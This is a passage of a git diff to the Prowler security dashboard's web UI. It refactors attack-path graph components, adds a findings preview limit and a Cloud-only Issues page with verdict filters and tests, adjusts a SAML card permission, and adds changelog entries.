export class AttackPathPageHarness extends BrowserHarness {
diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/attack-paths-page.integration.test.tsx b/ui/app/(prowler)/attack-paths/(workflow)/query-builder/attack-paths-page.integration.test.tsx
index d15733db06..515292627c 100644
--- a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/attack-paths-page.integration.test.tsx
+++ b/ui/app/(prowler)/attack-paths/(workflow)/query-builder/attack-paths-page.integration.test.tsx
@@ -15,6 +15,8 @@ import { beforeEach, describe, expect, test as base, vi } from "vitest";
import { handlersForFixture } from "@/__tests__/msw/handlers/attack-paths";
import { worker } from "@/__tests__/msw/worker";
import { render } from "@/__tests__/render-browser";
+import { getPathEdges, isProwlerFindingNode } from "@/lib/attack-paths";
+import { layoutWithDagre } from "@/lib/attack-paths/layout";
import { useLighthouseContextStore } from "@/store/lighthouse-context/store";
import { resetLighthouseContextStore } from "@/store/lighthouse-context/store.test-utils";
@@ -37,8 +39,6 @@ vi.mock("@/actions/findings", async () => {
});
import { useGraphStore } from "./_hooks/use-graph-state";
-import { getPathEdges, isProwlerFindingNode } from "./_lib";
-import { layoutWithDagre } from "./_lib/layout";
import AttackPathsPage from "./attack-paths-page";
import { fixtures, type PageFixture } from "./attack-paths-page.fixtures";
import { AttackPathPageHarness } from "./attack-paths-page.harness";
@@ -632,8 +632,9 @@ describe("auto-fitting the viewport", () => {
await graph.executeQuery();
await graph.waitForGraphStable(3);
await graph.expandAllFindings();
-
- const beforeFilter = graph.viewportTransform;
+ // Expanding starts its own fit; settle it so the click targets a still node
+ // and the change below can only come from the filtered-view fit.
+ const beforeFilter = await graph.waitForViewportSettled();
expect(beforeFilter).toBeTruthy();
await graph.clickFirstFindingNode();
diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/attack-paths-page.tsx b/ui/app/(prowler)/attack-paths/(workflow)/query-builder/attack-paths-page.tsx
index e7ed018411..815701868a 100644
--- a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/attack-paths-page.tsx
+++ b/ui/app/(prowler)/attack-paths/(workflow)/query-builder/attack-paths-page.tsx
@@ -12,10 +12,10 @@ import {
getAvailableQueries,
} from "@/actions/attack-paths";
import { adaptQueryResultToGraphData } from "@/actions/attack-paths/query-result.adapter";
+import type { GraphHandle } from "@/components/attack-paths/graph/attack-path-graph";
import { FindingDetailDrawer } from "@/components/findings/table";
import { LighthouseContextContributor } from "@/components/lighthouse/context-contributor";
import { PageReady } from "@/components/onboarding";
-import { useFindingDetails } from "@/components/resources/table/use-finding-details";
import { AutoRefresh } from "@/components/scans";
import { Button, Card, useToast } from "@/components/shadcn";
import {
@@ -27,7 +27,15 @@ import {
DialogTrigger,
} from "@/components/shadcn/dialog";
import { StatusAlert } from "@/components/shared/status-alert";
+import { useFindingDetails } from "@/hooks/use-finding-details";
import { useMountEffect } from "@/hooks/use-mount-effect";
+import { exportGraphAsPNG, isProwlerFindingNode } from "@/lib/attack-paths";
+import {
+ buildAttackPathView,
+ GROUP_NODE_LABEL,
+ GROUP_PROPS,
+ OUTCOME_NODE_LABEL,
+} from "@/lib/attack-paths/group-graph";
import { buildAttackPathContext } from "@/lib/lighthouse/context/contributions";
import { isCloud } from "@/lib/shared/env";
import { attackPathsEmptyTour } from "@/lib/tours/attack-paths-empty.tour";
@@ -63,23 +71,15 @@ import {
ScanListTable,
} from "./_components";
import { AttackPathsStatusPanel } from "./_components/attack-paths-status-panel";
-import type { GraphHandle } from "./_components/graph/attack-path-graph";
import { useAttackPathScans } from "./_hooks/use-attack-path-scans";
import { useGraphState } from "./_hooks/use-graph-state";
import { useQueryBuilder } from "./_hooks/use-query-builder";
-import { exportGraphAsPNG, isProwlerFindingNode } from "./_lib";
import {
ATTACK_PATHS_VIEW_STATES,
getAttackPathsViewState,
getGraphBuildingProgress,
isScanInFlight,
} from "./_lib/get-attack-paths-view-state";
-import {
- buildAttackPathView,
- GROUP_NODE_LABEL,
- GROUP_PROPS,
- OUTCOME_NODE_LABEL,
-} from "./_lib/group-graph";
const SCROLL_CONTAINER_CLASS =
"minimal-scrollbar relative z-0 w-full gap-4 overflow-auto shadow-sm";
diff --git a/ui/app/(prowler)/findings/page.test.ts b/ui/app/(prowler)/findings/page.test.ts
index 419bcc80fb..24853f7614 100644
--- a/ui/app/(prowler)/findings/page.test.ts
+++ b/ui/app/(prowler)/findings/page.test.ts
@@ -37,6 +37,17 @@ describe("findings page", () => {
expect(source).toContain("applyDefaultMutedFilter(filtersWithScanDates)");
});
+ it("pins a locked findings preview to the first page and hands the limit to the table", () => {
+ expect(source).toContain("await isFindingsPreviewLocked()");
+ expect(source).toContain("const page = previewLocked\n ? 1");
+ expect(source).toContain(
+ "const pageSize = previewLocked\n ? FINDINGS_PREVIEW_ROW_LIMIT * 2",
+ );
+ expect(source).toContain(
+ "previewRowLimit={previewLocked ? FINDINGS_PREVIEW_ROW_LIMIT : undefined}",
+ );
+ });
+
it("guards errors array access with a length check", () => {
expect(source).toContain("errors?.length > 0");
});
diff --git a/ui/app/(prowler)/findings/page.tsx b/ui/app/(prowler)/findings/page.tsx
index 0a8c3817ca..4b4930e4be 100644
--- a/ui/app/(prowler)/findings/page.tsx
+++ b/ui/app/(prowler)/findings/page.tsx
@@ -19,6 +19,10 @@ import {
extractSortAndKey,
hasDateOrScanFilter,
} from "@/lib";
+import {
+ FINDINGS_PREVIEW_ROW_LIMIT,
+ isFindingsPreviewLocked,
+} from "@/lib/findings-access";
import { resolveFindingScanDateFilters } from "@/lib/findings-scan-filters";
import { ScanProps } from "@/types";
import { SearchParamsProps } from "@/types/components";
@@ -110,8 +114,16 @@ const SSRDataTable = async ({
searchParams: SearchParamsProps;
filters: Record;
}) => {
- const page = parseInt(searchParams.page?.toString() || "1", 10);
- const pageSize = parseInt(searchParams.pageSize?.toString() || "10", 10);
+ // A locked preview ignores the URL paging: it always shows the first page,
+ // the readable rows plus one blurred page as a teaser. Filters and sort
+ // still apply, so the readable rows are the most critical of the selection.
+ const previewLocked = await isFindingsPreviewLocked();
+ const page = previewLocked
+ ? 1
+ : parseInt(searchParams.page?.toString() || "1", 10);
+ const pageSize = previewLocked
+ ? FINDINGS_PREVIEW_ROW_LIMIT * 2
+ : parseInt(searchParams.pageSize?.toString() || "10", 10);
const expandedCheckIdParam = searchParams.expandedCheckId;
const expandedCheckId = Array.isArray(expandedCheckIdParam)
? expandedCheckIdParam[0]
@@ -150,6 +162,7 @@ const SSRDataTable = async ({
resolvedFilters={filters}
hasHistoricalData={hasHistoricalData}
expandedCheckId={expandedCheckId}
+ previewRowLimit={previewLocked ? FINDINGS_PREVIEW_ROW_LIMIT : undefined}
/>
>
);
diff --git a/ui/app/(prowler)/issues/_components/issues-list.test.tsx b/ui/app/(prowler)/issues/_components/issues-list.test.tsx
new file mode 100644
index 0000000000..f875dc914b
--- /dev/null
+++ b/ui/app/(prowler)/issues/_components/issues-list.test.tsx
@@ -0,0 +1,105 @@
+import { render, screen } from "@testing-library/react";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+import { getIssues, getIssuesOverview } from "@/actions/issues";
+
+import { IssuesList } from "./issues-list";
+
+vi.mock("@/actions/issues", () => ({
+ getIssues: vi.fn(),
+ getIssuesOverview: vi.fn(),
+}));
+
+vi.mock("next/navigation", () => ({
+ useRouter: () => ({ refresh: vi.fn() }),
+}));
+
+vi.mock("@/components/issues/verdict-filter", () => ({
+ VerdictFilter: () => null,
+}));
+
+vi.mock("@/components/issues/issues-table", () => ({
+ IssuesTable: () => null,
+}));
+
+describe("IssuesList", () => {
+ beforeEach(() => {
+ vi.mocked(getIssuesOverview).mockResolvedValue({
+ data: {
+ type: "issues-overview",
+ attributes: {
+ exploitable: 0,
+ likely: 0,
+ conditional: 0,
+ not_exploitable: 0,
+ unknown: 0,
+ issues: 0,
+ findings: 0,
+ actionable: 0,
+ not_exploitable_findings: 0,
+ },
+ },
+ });
+ });
+
+ it.each([
+ ["a 4xx", { error: "Forbidden", status: 403 }],
+ ["a network failure", undefined],
+ ])("shows a load error, not an empty state, on %s", async (_, response) => {
+ vi.mocked(getIssues).mockResolvedValue(response as never);
+
+ render(await IssuesList({ searchParams: {} }));
+
+ expect(screen.getByRole("alert")).toHaveTextContent(
+ "Failed to load issues.",
+ );
+ expect(screen.getByRole("button", { name: "Retry" })).toBeInTheDocument();
+ expect(screen.queryByText(/No issues match/)).not.toBeInTheDocument();
+ });
+
+ it("shows the empty state for a successful empty list", async () => {
+ vi.mocked(getIssues).mockResolvedValue({ data: [] } as never);
+
+ render(await IssuesList({ searchParams: {} }));
+
+ expect(
+ screen.getByText("No issues match this filter."),
+ ).toBeInTheDocument();
+ expect(screen.queryByRole("alert")).not.toBeInTheDocument();
+ });
+ it("reports a summary failure without replacing it with zero counts", async () => {
+ // Given
+ vi.mocked(getIssuesOverview).mockResolvedValue(undefined);
+ vi.mocked(getIssues).mockResolvedValue({ data: [] });
+ // When
+ render(await IssuesList({ searchParams: {} }));
+ // Then
+ expect(screen.getByRole("alert")).toHaveTextContent(
+ "Failed to load issue summary.",
+ );
+ expect(
+ screen.getByText("No issues match this filter."),
+ ).toBeInTheDocument();
+ });
+
+ it("forwards combined verdict filters only to the list", async () => {
+ vi.mocked(getIssues).mockResolvedValue({ data: [] });
+ await IssuesList({
+ searchParams: {
+ "filter[verdict__in]": "exploitable,likely",
+ "filter[provider_id__in]": "provider-1",
+ },
+ });
+ expect(getIssues).toHaveBeenLastCalledWith(
+ expect.objectContaining({
+ filters: {
+ "filter[verdict__in]": "exploitable,likely",
+ "filter[provider_id__in]": "provider-1",
+ },
+ }),
+ );
+ expect(getIssuesOverview).toHaveBeenLastCalledWith({
+ filters: { "filter[provider_id__in]": "provider-1" },
+ });
+ });
+});
diff --git a/ui/app/(prowler)/issues/_components/issues-list.tsx b/ui/app/(prowler)/issues/_components/issues-list.tsx
new file mode 100644
index 0000000000..c0ca294660
--- /dev/null
+++ b/ui/app/(prowler)/issues/_components/issues-list.tsx
@@ -0,0 +1,93 @@
+import { ReactNode } from "react";
+
+import { getIssues, getIssuesOverview } from "@/actions/issues";
+import { IssuesLoadError } from "@/components/issues/issues-load-error";
+import { IssuesTable } from "@/components/issues/issues-table";
+import { VerdictFilter } from "@/components/issues/verdict-filter";
+import { ISSUE_SCOPE_KEYS } from "@/lib/issues/scope";
+import { verdictCounts } from "@/lib/issues/verdicts";
+import { SearchParamsProps } from "@/types";
+
+/** Only the filters the issues endpoint understands are forwarded. */
+const ISSUE_FILTER_KEYS = [
+ "filter[verdict]",
+ "filter[verdict__in]",
+ "filter[cloud]",
+ "filter[pattern]",
+ "filter[severity]",
+ "filter[provider_type]",
+ "filter[provider_alias]",
+ ...ISSUE_SCOPE_KEYS,
+];
+
+export const IssuesList = async ({
+ searchParams,
+ filters: filterControls,
+}: {
+ searchParams: SearchParamsProps;
+ /** The scope selectors, rendered above the verdict tabs: they scope every tab. */
+ filters?: ReactNode;
+}) => {
+ const filters: Record = {};
+ ISSUE_FILTER_KEYS.forEach((key) => {
+ const value = searchParams[key];
+ if (typeof value === "string" && value) filters[key] = value;
+ });
+
+ const [summary, issues] = await Promise.all([
+ // The counts are deliberately NOT filtered by verdict: the ladder has to
+ // keep showing every verdict's total, or picking one would zero the rest
+ // and there would be no way back.
+ getIssuesOverview({
+ filters: Object.fromEntries(
+ Object.entries(filters).filter(
+ ([key]) => key !== "filter[verdict]" && key !== "filter[verdict__in]",
+ ),
+ ),
+ }),
+ getIssues({
+ filters,
+ page: Number(searchParams.page) || 1,
+ pageSize: Number(searchParams.pageSize) || 10,
+ sort:
+ typeof searchParams.sort === "string" ? searchParams.sort : undefined,
+ }),
+ ]);
+
+ const attributes = summary?.data?.attributes;
+ // handleApiResponse resolves {error, status} on a 4xx and undefined on a
+ // network failure; neither is an empty list.
+ const rows = Array.isArray(issues?.data) ? issues.data : null;
+
+ return (
+ <>
+ {attributes ? null : (
+
+ )}
+
+ {filterControls}
+
+
+
+ {rows === null ? (
+
+ ) : rows.length ? (
+
+ ) : (
+
+ No issues match this filter.
+
+ )}
+ >
+ );
+};
diff --git a/ui/app/(prowler)/issues/page.test.tsx b/ui/app/(prowler)/issues/page.test.tsx
new file mode 100644
index 0000000000..d9c8b6447f
--- /dev/null
+++ b/ui/app/(prowler)/issues/page.test.tsx
@@ -0,0 +1,48 @@
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+const { getAllProviders, getAllProviderGroups, notFound } = vi.hoisted(() => ({
+ getAllProviders: vi.fn(),
+ getAllProviderGroups: vi.fn(),
+ notFound: vi.fn(() => {
+ throw new Error("NOT_FOUND");
+ }),
+}));
+vi.mock("next/navigation", () => ({ notFound }));
+vi.mock("@/actions/providers", () => ({ getAllProviders }));
+vi.mock("@/actions/manage-groups/manage-groups", () => ({
+ getAllProviderGroups,
+}));
+vi.mock("@/components/filters/provider-account-selectors", () => ({
+ ProviderAccountSelectors: () => null,
+}));
+vi.mock("@/components/filters/provider-group-selector", () => ({
+ ProviderGroupSelector: () => null,
+}));
+vi.mock("@/components/shadcn/content-layout", () => ({
+ ContentLayout: () => null,
+}));
+vi.mock("./_components/issues-list", () => ({ IssuesList: () => null }));
+
+import Issues from "./page";
+
+describe("Issues deployment availability", () => {
+ beforeEach(() => {
+ getAllProviders.mockResolvedValue({ data: [] });
+ getAllProviderGroups.mockResolvedValue({ data: [] });
+ });
+ it("returns not found before loading data in Local Server", async () => {
+ vi.stubEnv("UI_CLOUD_ENABLED", "false");
+ await expect(Issues({ searchParams: Promise.resolve({}) })).rejects.toThrow(
+ "NOT_FOUND",
+ );
+ expect(getAllProviders).not.toHaveBeenCalled();
+ expect(getAllProviderGroups).not.toHaveBeenCalled();
+ });
+ it("loads the scope controls in Cloud deployments", async () => {
+ vi.stubEnv("UI_CLOUD_ENABLED", "true");
+ await Issues({ searchParams: Promise.resolve({}) });
+ expect(notFound).not.toHaveBeenCalled();
+ expect(getAllProviders).toHaveBeenCalledOnce();
+ expect(getAllProviderGroups).toHaveBeenCalledOnce();
+ });
+});
diff --git a/ui/app/(prowler)/issues/page.tsx b/ui/app/(prowler)/issues/page.tsx
new file mode 100644
index 0000000000..9cf4e42018
--- /dev/null
+++ b/ui/app/(prowler)/issues/page.tsx
@@ -0,0 +1,68 @@
+import { ShieldAlert } from "lucide-react";
+import { notFound } from "next/navigation";
+import { Suspense } from "react";
+
+import { getAllProviderGroups } from "@/actions/manage-groups/manage-groups";
+import { getAllProviders } from "@/actions/providers";
+import { ProviderAccountSelectors } from "@/components/filters/provider-account-selectors";
+import { ProviderGroupSelector } from "@/components/filters/provider-group-selector";
+import { ContentLayout } from "@/components/shadcn/content-layout";
+import { FeatureFlagGate } from "@/components/shared/feature-flag-gate";
+import { FEATURE_FLAG } from "@/lib/feature-flags";
+import { isCloud } from "@/lib/shared/env";
+import { SearchParamsProps } from "@/types";
+
+import { IssuesList } from "./_components/issues-list";
+
+export default async function Issues({
+ searchParams,
+}: {
+ searchParams: Promise;
+}) {
+ if (!isCloud()) notFound();
+
+ const resolvedSearchParams = await searchParams;
+ const [providersData, providerGroupsData] = await Promise.all([
+ getAllProviders(),
+ getAllProviderGroups(),
+ ]);
+
+ return (
+ }>
+ {/* Deployment gate above (notFound); per-account rollout here. The route
+ stays reachable by URL, so the off state explains itself. */}
+
+ Issues is not available for this account yet.
+
+ }
+ >
+
+ Loading issues…
+
+ }
+ >
+
+
+
+
+ }
+ />
+
+
+
+ );
+}
diff --git a/ui/app/(prowler)/page.tsx b/ui/app/(prowler)/page.tsx
index 6e150b3094..32201e0475 100644
--- a/ui/app/(prowler)/page.tsx
+++ b/ui/app/(prowler)/page.tsx
@@ -11,7 +11,9 @@ import {
AppSidebarModeSync,
} from "@/components/layout/app-sidebar";
import { ContentLayout } from "@/components/shadcn/content-layout";
+import { FeatureFlagGate } from "@/components/shared/feature-flag-gate";
import { DOCS_URLS } from "@/lib/external-urls";
+import { FEATURE_FLAG } from "@/lib/feature-flags";
import { isCloud } from "@/lib/shared/env";
import { SearchParamsProps } from "@/types";
@@ -24,6 +26,12 @@ import {
AttackSurfaceSSR,
} from "./_overview/attack-surface";
import { CheckFindingsSSR } from "./_overview/check-findings";
+import {
+ ExploitabilityChartSkeleton,
+ ExploitabilityChartSSR,
+ TopIssuesSkeleton,
+ TopIssuesSSR,
+} from "./_overview/exploitability";
import { GraphsTabsWrapper } from "./_overview/graphs-tabs/graphs-tabs-wrapper";
import { RiskPipelineViewSkeleton } from "./_overview/graphs-tabs/risk-pipeline-view";
import {
@@ -96,6 +104,14 @@ export default async function Home({
+ {isCloud() && (
+
+ }>
+
+
+
+ )}
+
}>
@@ -136,11 +152,18 @@ export default async function Home({
- {/* Charts column: Attack Surface on top, Findings Over Time below */}
+ {/* Charts column: Attack Surface, Top issues, Findings Over Time */}
}>
+ {isCloud() && (
+
+ }>
+
+
+
+ )}
}>
diff --git a/ui/app/(prowler)/profile/page.tsx b/ui/app/(prowler)/profile/page.tsx
index 4aedf1038b..f1d8d79dd0 100644
--- a/ui/app/(prowler)/profile/page.tsx
+++ b/ui/app/(prowler)/profile/page.tsx
@@ -89,13 +89,7 @@ const SSRDataUser = async ({
role.attributes.manage_account === true && userRoleIds.includes(role.id),
);
- const hasManageIntegrations = roleDetails.some(
- (role) =>
- role.attributes.manage_integrations === true &&
- userRoleIds.includes(role.id),
- );
-
- const samlConfig = hasManageIntegrations ? await getSamlConfig() : undefined;
+ const samlConfig = hasManageAccount ? await getSamlConfig() : undefined;
return (
)}
- {hasManageIntegrations && (
+ {hasManageAccount && (
)}
{
// --- Wizard: launch step ------------------------------------------------
- /** Tick "launch an initial scan now" on the launch step's schedule form. */
- async enableInitialScan(): Promise {
- const checkbox = await this.waitFor(() =>
- this.q(`[role="checkbox"][aria-label="${INITIAL_SCAN_LABEL}"]`),
- );
- await this.clickElement(checkbox);
- }
-
/** Save the scan schedules and launch the initial scans (footer action). */
async saveScheduleAndLaunch(): Promise {
await this.clickPrimary(/Save and launch scan/);
diff --git a/ui/app/(prowler)/providers/providers-page.integration.test.tsx b/ui/app/(prowler)/providers/providers-page.integration.test.tsx
index 5f3fd66bfc..070c43be68 100644
--- a/ui/app/(prowler)/providers/providers-page.integration.test.tsx
+++ b/ui/app/(prowler)/providers/providers-page.integration.test.tsx
@@ -203,7 +203,6 @@ describe("Organization onboarding wizard", () => {
expect(harness.applyCallCount).toBe(1);
- await harness.enableInitialScan();
await harness.saveScheduleAndLaunch();
await harness.waitForLaunchComplete();
@@ -695,7 +694,6 @@ describe("Organization onboarding wizard", () => {
await harness.testConnections();
await harness.waitForProjectsConnected();
- await harness.enableInitialScan();
await harness.saveScheduleAndLaunch();
await harness.waitForPartialScheduleSave(1, 1);
@@ -725,7 +723,6 @@ describe("Organization onboarding wizard", () => {
await harness.testConnections();
await harness.waitForProjectsConnected();
- await harness.enableInitialScan();
await harness.saveScheduleAndLaunch();
await harness.waitForScheduleSaveFailure();
@@ -746,7 +743,6 @@ describe("Organization onboarding wizard", () => {
await harness.testConnections();
await harness.waitForProjectsConnected();
- await harness.enableInitialScan();
await harness.saveScheduleAndLaunch();
await harness.waitForLaunchComplete();
@@ -778,7 +774,6 @@ describe("Organization onboarding wizard", () => {
expect(harness.usesAccountWording()).toBe(false);
expect(harness.applyCallCount).toBe(1);
- await harness.enableInitialScan();
await harness.saveScheduleAndLaunch();
await harness.waitForLaunchComplete();
@@ -1164,7 +1159,6 @@ describe("Organization onboarding wizard", () => {
await harness.testConnections();
await harness.waitForSubscriptionsConnected();
- await harness.enableInitialScan();
await harness.saveScheduleAndLaunch();
await harness.waitForPartialScheduleSave(1, 1);
@@ -1189,7 +1183,6 @@ describe("Organization onboarding wizard", () => {
await harness.testConnections();
await harness.waitForSubscriptionsConnected();
- await harness.enableInitialScan();
await harness.saveScheduleAndLaunch();
await harness.waitForScheduleSaveFailure();
@@ -1208,7 +1201,6 @@ describe("Organization onboarding wizard", () => {
await harness.testConnections();
await harness.waitForSubscriptionsConnected();
- await harness.enableInitialScan();
await harness.saveScheduleAndLaunch();
await harness.waitForLaunchComplete();
diff --git a/ui/changelog.d/azure-php-latest-version-8-5.changed.md b/ui/changelog.d/azure-php-latest-version-8-5.changed.md
new file mode 100644
index 0000000000..1afb00fc7d
--- /dev/null
+++ b/ui/changelog.d/azure-php-latest-version-8-5.changed.md
@@ -0,0 +1 @@
+Default `php_latest_version` in the scan configuration template raised from `8.2` to `8.5`
diff --git a/ui/changelog.d/badge-error-outline.added.md b/ui/changelog.d/badge-error-outline.added.md
new file mode 100644
index 0000000000..ae6f0c63d0
--- /dev/null
+++ b/ui/changelog.d/badge-error-outline.added.md
@@ -0,0 +1 @@
+Outlined error badge variant with a visible border on error-colored surfaces
diff --git a/ui/changelog.d/initial-scan-default-after-setup.changed.md b/ui/changelog.d/initial-scan-default-after-setup.changed.md
new file mode 100644
index 0000000000..faacee88a2
--- /dev/null
+++ b/ui/changelog.d/initial-scan-default-after-setup.changed.md
@@ -0,0 +1 @@
+"Launch an initial scan now" is ticked by default on the provider and organization setup launch steps, so saving a schedule also runs a first scan unless the box is unticked
diff --git a/ui/changelog.d/issues-exploitability.added.md b/ui/changelog.d/issues-exploitability.added.md
new file mode 100644
index 0000000000..6f94d9b250
--- /dev/null
+++ b/ui/changelog.d/issues-exploitability.added.md
@@ -0,0 +1 @@
+Issues page and overview cards for Cloud deployments, with verdict filters, accessible issue details, and scoped finding evidence
diff --git a/ui/changelog.d/node-24.22.1-bump.security.md b/ui/changelog.d/node-24.22.1-bump.security.md
new file mode 100644
index 0000000000..702345872a
--- /dev/null
+++ b/ui/changelog.d/node-24.22.1-bump.security.md
@@ -0,0 +1 @@
+Node.js from 24.18.1 to 24.22.1 LTS in the UI container image and `.nvmrc`, patching the eight CVEs of the October 2026 security release that affect the 24.x line, including the Brotli decoder remote code execution (CVE-2026-111497); the base image moves to Alpine 3.24, so the targeted `libcrypto3` / `libssl3` upgrade is no longer needed
diff --git a/ui/changelog.d/saml-card-requires-manage-account.changed.md b/ui/changelog.d/saml-card-requires-manage-account.changed.md
new file mode 100644
index 0000000000..6042b0b319
--- /dev/null
+++ b/ui/changelog.d/saml-card-requires-manage-account.changed.md
@@ -0,0 +1 @@
+SAML SSO integration card on the profile page is shown to roles with the Manage Account permission, matching the API requirement
diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/attack-path-graph.tsx b/ui/components/attack-paths/graph/attack-path-graph.tsx
similarity index 97%
rename from ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/attack-path-graph.tsx
rename to ui/components/attack-paths/graph/attack-path-graph.tsx
index db17ef7c6e..96f13cb115 100644
--- a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/attack-path-graph.tsx
+++ b/ui/components/attack-paths/graph/attack-path-graph.tsx
@@ -22,14 +22,11 @@ import {
useState,
} from "react";
-import { isCloud } from "@/lib/shared/env";
-import { cn } from "@/lib/utils";
-import type {
- AttackPathGraphData,
- AttackPathOutcome,
- GraphNode,
-} from "@/types/attack-paths";
-
+import { FindingNode } from "@/components/attack-paths/graph/nodes/finding-node";
+import { GroupNode } from "@/components/attack-paths/graph/nodes/group-node";
+import { InternetNode } from "@/components/attack-paths/graph/nodes/internet-node";
+import { OutcomeNode } from "@/components/attack-paths/graph/nodes/outcome-node";
+import { ResourceNode } from "@/components/attack-paths/graph/nodes/resource-node";
import {
computeFilteredSubgraph,
getNodeBorderColor,
@@ -38,18 +35,19 @@ import {
GRAPH_EDGE_HIGHLIGHT_COLOR,
isProwlerFindingNode,
resolveHiddenFindingIds,
-} from "../../_lib";
+} from "@/lib/attack-paths";
import {
type AttackPathView,
buildAttackPathView,
-} from "../../_lib/group-graph";
-import { layoutWithDagre, NODE_TYPE } from "../../_lib/layout";
-
-import { FindingNode } from "./nodes/finding-node";
-import { GroupNode } from "./nodes/group-node";
-import { InternetNode } from "./nodes/internet-node";
-import { OutcomeNode } from "./nodes/outcome-node";
-import { ResourceNode } from "./nodes/resource-node";
+} from "@/lib/attack-paths/group-graph";
+import { layoutWithDagre, NODE_TYPE } from "@/lib/attack-paths/layout";
+import { isCloud } from "@/lib/shared/env";
+import { cn } from "@/lib/utils";
+import type {
+ AttackPathGraphData,
+ AttackPathOutcome,
+ GraphNode,
+} from "@/types/attack-paths";
// --- Types ---
diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/graph-controls.test.tsx b/ui/components/attack-paths/graph/graph-controls.test.tsx
similarity index 95%
rename from ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/graph-controls.test.tsx
rename to ui/components/attack-paths/graph/graph-controls.test.tsx
index 0050c60128..d65fcba71b 100644
--- a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/graph-controls.test.tsx
+++ b/ui/components/attack-paths/graph/graph-controls.test.tsx
@@ -2,7 +2,7 @@ import { render, screen } from "@testing-library/react";
import userEvent from "@testing-library/user-event";
import { describe, expect, it, vi } from "vitest";
-import { GraphControls } from "./graph-controls";
+import { GraphControls } from "@/components/attack-paths/graph/graph-controls";
const baseProps = {
onZoomIn: vi.fn(),
diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/graph-controls.tsx b/ui/components/attack-paths/graph/graph-controls.tsx
similarity index 100%
rename from ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/graph-controls.tsx
rename to ui/components/attack-paths/graph/graph-controls.tsx
diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/graph-legend.test.tsx b/ui/components/attack-paths/graph/graph-legend.test.tsx
similarity index 99%
rename from ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/graph-legend.test.tsx
rename to ui/components/attack-paths/graph/graph-legend.test.tsx
index 2d02d54517..0e6dd7818b 100644
--- a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/graph-legend.test.tsx
+++ b/ui/components/attack-paths/graph/graph-legend.test.tsx
@@ -1,11 +1,10 @@
import { render, screen } from "@testing-library/react";
import { afterEach, describe, expect, it, vi } from "vitest";
+import { GraphLegend } from "@/components/attack-paths/graph/graph-legend";
import { isCloud } from "@/lib/shared/env";
import type { AttackPathGraphData } from "@/types/attack-paths";
-import { GraphLegend } from "./graph-legend";
-
vi.mock("next-themes", () => ({
useTheme: () => ({ resolvedTheme: "dark" }),
}));
diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/graph-legend.tsx b/ui/components/attack-paths/graph/graph-legend.tsx
similarity index 98%
rename from ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/graph-legend.tsx
rename to ui/components/attack-paths/graph/graph-legend.tsx
index 471c9b9834..7a99b34277 100644
--- a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/graph-legend.tsx
+++ b/ui/components/attack-paths/graph/graph-legend.tsx
@@ -10,9 +10,6 @@ import {
TooltipProvider,
TooltipTrigger,
} from "@/components/shadcn/tooltip";
-import { isCloud } from "@/lib/shared/env";
-import type { AttackPathGraphData, GraphNode } from "@/types/attack-paths";
-
import {
getNodeBorderColor,
getNodeColor,
@@ -22,10 +19,15 @@ import {
GRAPH_EDGE_HIGHLIGHT_COLOR,
GRAPH_NODE_BORDER_COLORS,
GRAPH_NODE_COLORS,
-} from "../../_lib/graph-colors";
-import { resolveHiddenFindingIds } from "../../_lib/graph-utils";
-import { isProwlerFindingNode } from "../../_lib/node-types";
-import { NODE_CATEGORY, resolveNodeVisual } from "../../_lib/node-visuals";
+} from "@/lib/attack-paths/graph-colors";
+import { resolveHiddenFindingIds } from "@/lib/attack-paths/graph-utils";
+import { isProwlerFindingNode } from "@/lib/attack-paths/node-types";
+import {
+ NODE_CATEGORY,
+ resolveNodeVisual,
+} from "@/lib/attack-paths/node-visuals";
+import { isCloud } from "@/lib/shared/env";
+import type { AttackPathGraphData, GraphNode } from "@/types/attack-paths";
const LEGEND_PREVIEW = {
BADGE_RADIUS: 16,
diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/graph-loading.test.tsx b/ui/components/attack-paths/graph/graph-loading.test.tsx
similarity index 89%
rename from ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/graph-loading.test.tsx
rename to ui/components/attack-paths/graph/graph-loading.test.tsx
index a87fb546b2..f805475b95 100644
--- a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/graph-loading.test.tsx
+++ b/ui/components/attack-paths/graph/graph-loading.test.tsx
@@ -1,7 +1,7 @@
import { render, screen } from "@testing-library/react";
import { describe, expect, it } from "vitest";
-import { GraphLoading } from "./graph-loading";
+import { GraphLoading } from "@/components/attack-paths/graph/graph-loading";
describe("GraphLoading", () => {
it("uses the provider wizard loading pattern", () => {
diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/graph-loading.tsx b/ui/components/attack-paths/graph/graph-loading.tsx
similarity index 100%
rename from ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/graph-loading.tsx
rename to ui/components/attack-paths/graph/graph-loading.tsx
diff --git a/ui/components/attack-paths/graph/index.ts b/ui/components/attack-paths/graph/index.ts
new file mode 100644
index 0000000000..1a9817c99e
--- /dev/null
+++ b/ui/components/attack-paths/graph/index.ts
@@ -0,0 +1,5 @@
+export type { GraphHandle } from "@/components/attack-paths/graph/attack-path-graph";
+export { AttackPathGraph } from "@/components/attack-paths/graph/attack-path-graph";
+export { GraphControls } from "@/components/attack-paths/graph/graph-controls";
+export { GraphLegend } from "@/components/attack-paths/graph/graph-legend";
